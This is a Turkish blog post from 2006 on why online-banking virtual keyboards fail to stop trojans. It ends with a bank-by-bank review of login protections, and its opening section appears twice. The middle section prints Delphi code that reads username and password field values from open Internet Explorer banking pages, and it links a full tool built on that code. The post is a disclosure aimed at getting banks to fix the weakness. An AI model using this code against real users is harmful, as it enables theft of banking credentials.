Sanal Klavyeler Ne Kadar Güvenli?

Artık hemen hemen tüm interaktif bankacılık şubelerinde sanal klavye seçeneği mevcut. Keylogger adı verilen programlardan haberi olanlar sanal klavyelere neden ihtiyaç duyulduğu hakkında fikir yürütebilirler. Keylogger adı verilen programlar arka planda çalışarak kullanıcının bastığı tuşları kaydederler ve sahiplerine ulaştırılar.

Bu yazıda sanal klavyelerin keylogger ve benzeri tehditlere karşı neden yeterli olamayacağını kanıtlarıyla beraber açıklamaya çalışacağım. Yazımda bu tezi kanıtlamak için hazırladığım bir programın kaynak kodlarını da bulabilirsiniz. Program ile sanal klavye gibi popüler bir güvenlik katmanının ne kadar basit bir yolla atlatılabileceğini görmenizi istedim. Umarım suistimal edilmez.

Sanal Klavyelerin Gelişim Evreleri

Sanal klavyeler kullanıcı bilgilerini çalmak için tasarlanmış turuva yazılımlarına karşı bazı mutastyon evreleri geçirmek zorunda kalmışlardır. Aslında bu evreler turuva yazılımlarınkileri ile birebir aynıdır. Şöyleki;

  • Fare kordinatlarının kaydedilmesine karşı her tuş girişinden sonra sanal klavyedeki tuşlar rasgele karıştırılarak kordinatların kaydedilememesi sağlandı.
  • Turuva yazılımları tuşların karıştırıldığı klavyeler için fare imlecinin belli bir çapındaki bölgeyi her fare tıklamasında kaydederek tuş karıştırma önlemenin üstesinde geldi.
  • Buna karşı sanal klavyeler tuş basımı esnasında tuş etiketini * gibi semboller ile gizlemeye başladılar. Böylece tuş basımı esnasında kaydedilen resimdeki tuş gizlenmiş oldu.
  • Tuş karıştırma ve tuş gizleme yöntemleri beraber kullanılarak daha güvenli klavyeler oluşturulmaya çalışıldı. Buraya tıklayarak görebileceğiniz güvenlik incelemesinde açıklandığı gibi, turuva yazılımları çözümü ekran görüntüsünü avi (hareketli görüntü) formatında kaydederek buldu.

    (Bu incelemede turuva yazılımı bankanın sayfası açıldığında farenin yakın çevresini bir dizine avi olarak kaydediyor ve sahibinin dinamik (no-ip.com) adresli FTP sunucusundaki bir dizine yüklüyor. Bu konunun ayrıntılı olarak ele alındığı "New Technique Against Virtual Keyboards" isimli makale okunmaya değer)

Artık hemen hemen tüm interaktif bankacılık şubelerinde sanal klavye seçeneği mevcut. Keylogger adı verilen programlardan haberi olanlar sanal klavyelere neden ihtiyaç duyulduğu hakkında fikir yürütebilirler. Keylogger adı verilen programlar arka planda çalışarak kullanıcının bastığı tuşları kaydederler ve sahiplerine ulaştırılar.Bu yazıda sanal klavyelerin keylogger ve benzeri tehditlere karşı neden yeterli olamayacağını kanıtlarıyla beraber açıklamaya çalışacağım. Yazımda bu tezi kanıtlamak için hazırladığım bir programın kaynak kodlarını da bulabilirsiniz. Program ile sanal klavye gibi popüler bir güvenlik katmanının ne kadar basit bir yolla atlatılabileceğini görmenizi istedim. Umarım suistimal edilmez.
Sanal Klavyelerin Gelişim Evreleri 
Sanal klavyeler kullanıcı bilgilerini çalmak için tasarlanmış turuva yazılımlarına karşı bazı mutastyon evreleri geçirmek zorunda kalmışlardır. Aslında bu evreler turuva yazılımlarınkileri ile birebir aynıdır. Şöyleki;

  • Fare kordinatlarının kaydedilmesine karşı her tuş girişinden sonra sanal klavyedeki tuşlar rasgele karıştırılarak kordinatların kaydedilememesi sağlandı.
  • Turuva yazılımları tuşların karıştırıldığı klavyeler için fare imlecinin belli bir çapındaki bölgeyi her fare tıklamasında kaydederek tuş karıştırma önlemenin üstesinde geldi.
  • Buna karşı sanal klavyeler tuş basımı esnasında tuş etiketini * gibi semboller ile gizlemeye başladılar. Böylece tuş basımı esnasında kaydedilen resimdeki tuş gizlenmiş oldu.
  • Tuş karıştırma ve tuş gizleme yöntemleri beraber kullanılarak daha güvenli klavyeler oluşturulmaya çalışıldı. Buraya tıklayarak görebileceğiniz güvenlik incelemesinde açıklandığı gibi, turuva yazılımları çözümü ekran görüntüsünü avi (hareketli görüntü) formatında kaydederek buldu.(Bu incelemede turuva yazılımı bankanın sayfası açıldığında farenin yakın çevresini bir dizine avi olarak kaydediyor ve sahibinin dinamik (no-ip.com) adresli FTP sunucusundaki bir dizine yüklüyor. Bu konunun ayrıntılı olarak ele alındığı “New Technique Against Virtual Keyboards” isimli makale okunmaya değer)

Buraya kadar geçirilen evrelere rağmen hala çok basit ve önemli bir noktadan hiç bahsedilmiyor. Bu da bir HTML text input’unu (HTML metin kutusu) okumanın, sistem genelinde çalışacak bir keylogger’a göre çok daha etkili olması. Sanırım bahsi geçen keylogger yazılımlarının “scrip kidie” denen programcı olmayan korsanlar tarafından kullanılması ve yayılması daha orjinal yöntemlerin göz ardı edilmesine -daha az kişi tarafından bilinmesine- neden oluyor.  Diğer yandan aşağıdaki kaynak koddan da görülebileceği gibi bir metin kutusunun okutulması işlemi programcılık açısından diğer yöntemlere göre daha basit sayılabilir.


Sanal Klavyeleri Alt Etmek

Giriş sayfasında yapılan hareketlerin avi formatında kaydedilmesi korumanın alt edildiği bir yöntem olmasına rağmen ortaya çıkan büyük boyutlu dosyalar pratik kullanımını sınırlandırıyor.

Günümüzde sanal klavye kullanan interaktif bankacılık sayfalarının hepsinde, kullanıcının tuşladığı karakterler javascript ile birer birer standart input kutusuna ekleniyor ve daha sonra form olarak sunucuya gönderiliyor. Verilerin sunucuya gönderilmeden önceki son durağının form kutuları olması onları turuva yazılımları için hedef haline getirebilir. Form kutularının aşağıdaki fonksiyonla düzenli olarak taratılması ekranı kaydetmeye göre çok daha etkili bir yoldur.

try
ShellWindow := CoShellWindows.Create;
for k := 0 to ShellWindow.Count do
begin
spDisp := ShellWindow.Item(k);
if spDisp = nil then Continue;
spDisp.QueryInterface(iWebBrowser2, WB);
if WB <> nil then
begin
WB.Document.QueryInterface(IHTMLDocument2, iDoc1);
if iDoc1 <> nil then
begin
WB := ShellWindow.Item(k) as IWebbrowser2;
begin
Document := WB.Document;
if Pos(Title, Document.Title) <> 0 then
begin
Form1.Label1.Caption := UnField;
Form1.Label2.Caption := PwField;
Form1.un.Text := Document.getElementById(UnField).Value;
Form1.pw.Text := Document.getElementById(PwField).Value;
end;
end;
end;
end;
end;
except
end;



Sanal Klavyelerin Fonksiyonsuz Bırakılabileceğini Gösteren Uygulama

Programı ve Delphi kaynak kodlarını incelemek için buraya tıklayın. (~470KB)


Sanal Klavye Programı Hakkında

Bu yazıyı yazarken kodların ve açıklanan yöntemlerin kötü amaçlarla yeniden kullanılabileceği fikri beni rahatsız etmiyor değil. Fakat bu konulardan bahsetmemek birileri tarafından kötü amaçlarla uygulanmayacağı anlamına gelmiyor. Günümüzde birçok büyük bankanın hala web girişinde güvenliği konusuna gereken önemi vermemesi üzücü. Belki ilgili kişiler burada yazanları okurlar ve alınması gereken güvenlik önlemlerini herkesin faydası adına bir an önce alırlar. Son cümlelerim belki biraz sitemkar gelecek ama güncel tehditlere karşı bir güvenlik politikasının oluşturulması ve bu anlamda planlı bir süreçte uygulanması gerekiyro. Üzülerek söylüyorum ki hala güvenlik sistemlerini (yazılım/web uygulamaları/donanım sistemleri) ihaleye çıkarak ısmarlayan ve sorun oluştuğunda üslenici firmalardan telefonla destek sağlayan bankalar var.


Bankaların Bakış Açısı

Ne yazık ki, bankada hesaplarını açarken imzaladıkları şartnamelerle her türlü sorumluluğu müşterinin sırtına yükleyen bu kurumsal u*anıklar, doğal olarak bir sorumlulukları olmadığı için de güncel güvenlik önlemlerini almak için pek aceleci davranmıyorlar.

Güvenliği bir süreç haline döken ve ciddi politikalarla uygulayan bankalar da var. İsim vermeyeceğim ama aralarında bu politikaları müşteri için işkence haline getirenler de yok değil. Her iki tarafın mutluluğu açısından yüksek güvenlik ile konforun uygun bir ortasını bulmak gerekiyor.

Türkiye’deki Bankaların Giriş Güvenliği Açısından Mevcut Durumları

2006 yılı başında hazırlayıp da pek güncelleme şansı bulamadığım interaktif bankacılık incelemelerini vererek bu konuyu sonlandırmak istiyorum:

  • Garanti İnternet Şubesi
    Garanti Güvenlik Kalkanı ile JaguarEdit adındaki bir AcvtiveX yükleniyor. JaguarEdit yüklendiğinde HTML parola giriş kutusu bu ActiveX ile değiştiriliyor. Keyloggerlar ve ekranı kaydeden programlara karşı tam çözüm. Ayrıca bu kutuların dışarıdan okunması da klasik yollarla mümkün olmuyor. Garanti bankasının yeni uygulamaya koyduğu “Cep Şifrematik” hizmeti ile cep telfonunuza yükleyeceğiniz tekil bir program ile her seferinde (zamana bağlı) değişen şifreler üretmeniz mümkün. Bir şekilde şifrenizin başkalarının eline geçme ihtimaline karşı bu önlem yüksek güvenlik sağlıyor. Garanti Bankasını güvenlik konusuna gösterdiği titizlik için tebrik ediyorum.
  • Türkiye İş Bankası İnternet Şubesi
    Isbank interaktif giriş SSL, Sanal klavye ve bir parola zinciriyle korunmuş. Giriş kutularındaki verilerin okunmaması için bir önlem alınmamış.
  • Teleweb – Yapı ve Kredi Bankası
    Veri iletişimi SSL ile güvenlik altına alınmamış. Sanal klavye var ama screenlogger’lara karşı önlem yok. Keylogger lara karşı da önlem yok. Ayrıca sayfa kodlarında optimizasyon yok. Web deki kaynak kodlarının düzeni, kod güvenliği adına gereken hassasiyetin gösterilmemiş olma ihtimalini kuvvetlendiriyor.
  • Anadolu Finans İnternet Şubesi
    SSL güvenliğinin yanında keylogger ve screenlogger lardan koruyan bir ActiveX denetimi olan JaguarEdit ile giriş koruması sağlanmış. Bu denetim ile giriş kutularının başka bir program tarafından okunması engellenmiş. İcelenenler arasında en güvenli kullanıcı girişlerinden biri de bu sitede sağlanmış.
  • Denizbank
    SSL ile veri iletişimi korunmuş. Şifre alanı için sanal klavye kullanma zorunlu hale getirilmiş. Bu keylogger’lara (Tus Kayıtçısı) karşı iyi bir önlem. Benzer şekilde screenlogger’lar (ekran kayıtçısı – hedeflenen pencerede farenin tıkladığı alanın fotografını çeker/veya tüm ekranı fotograflar) karşı sanal klavye üzerinde güzel bir önlem alınmış farenin onclick olayinda ilk iş olarak düğme etiketleri * karakteri replace edilmiş. Böylece bir screenlogger tarafından fotografı çekilse dahi hangi tuşa tıklandığının anlaşılamayacağı düşünülmüş ama ekranın avi olarak kaydedilmesine karşı yeterli değil. Bütün bu güvenlik önlemlerinin yanında giriş kutularındaki bilgilerin okunmasına karşı da bir önlem alınmamış.
  • Asya Finans Kurumu
    Asyafinans interaktif girişinin güvenliği sadece SSL’e emanet edilmiş. Sanal klavyesi yok. Giriş kutularının okunamaması için de bir önlem alınmamış.
  • Citibank Türkiye
    İlk denememde güvenli bir girişe sahip değildi. Bu yazıyı yazarken sistemleri hizmet dışı olduğu için yeni bir açıklama yazamıyorum.
  • Kuveyt Türk Internet Şubesi
    SSL ve sanal klavyeli giriş ile keylogger’lara karşı güvenlik sağlanmış. Giriş kutuları okunabiliyor. Screenlogger’lara karşı güvenlik sağlanmamış.
  • MNG Bank İnternet Şubesi
    128 Bit SSL veri iletişimi güvenlik altına alınmış. Bunun dışında bir giriş güvenliği söz konusu değil.
  • TEB Internet Şubesi
    SSL ve istenildiğinde kullanılabilecek “PinPad” adında sanal klavye. Screenlogger ve keylogger’lara karşı güvenlik sağlanmamış.
  • VakıfBank Internet 724
    Vakıfbank interaktifinde de SSL den başka bir herhangi bir giriş güvenliği uygulaması yok.

Yazan: Tankado / 20 Ocak 2006

Yazar: Özgür Koca

Yazar - Tankado.com

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.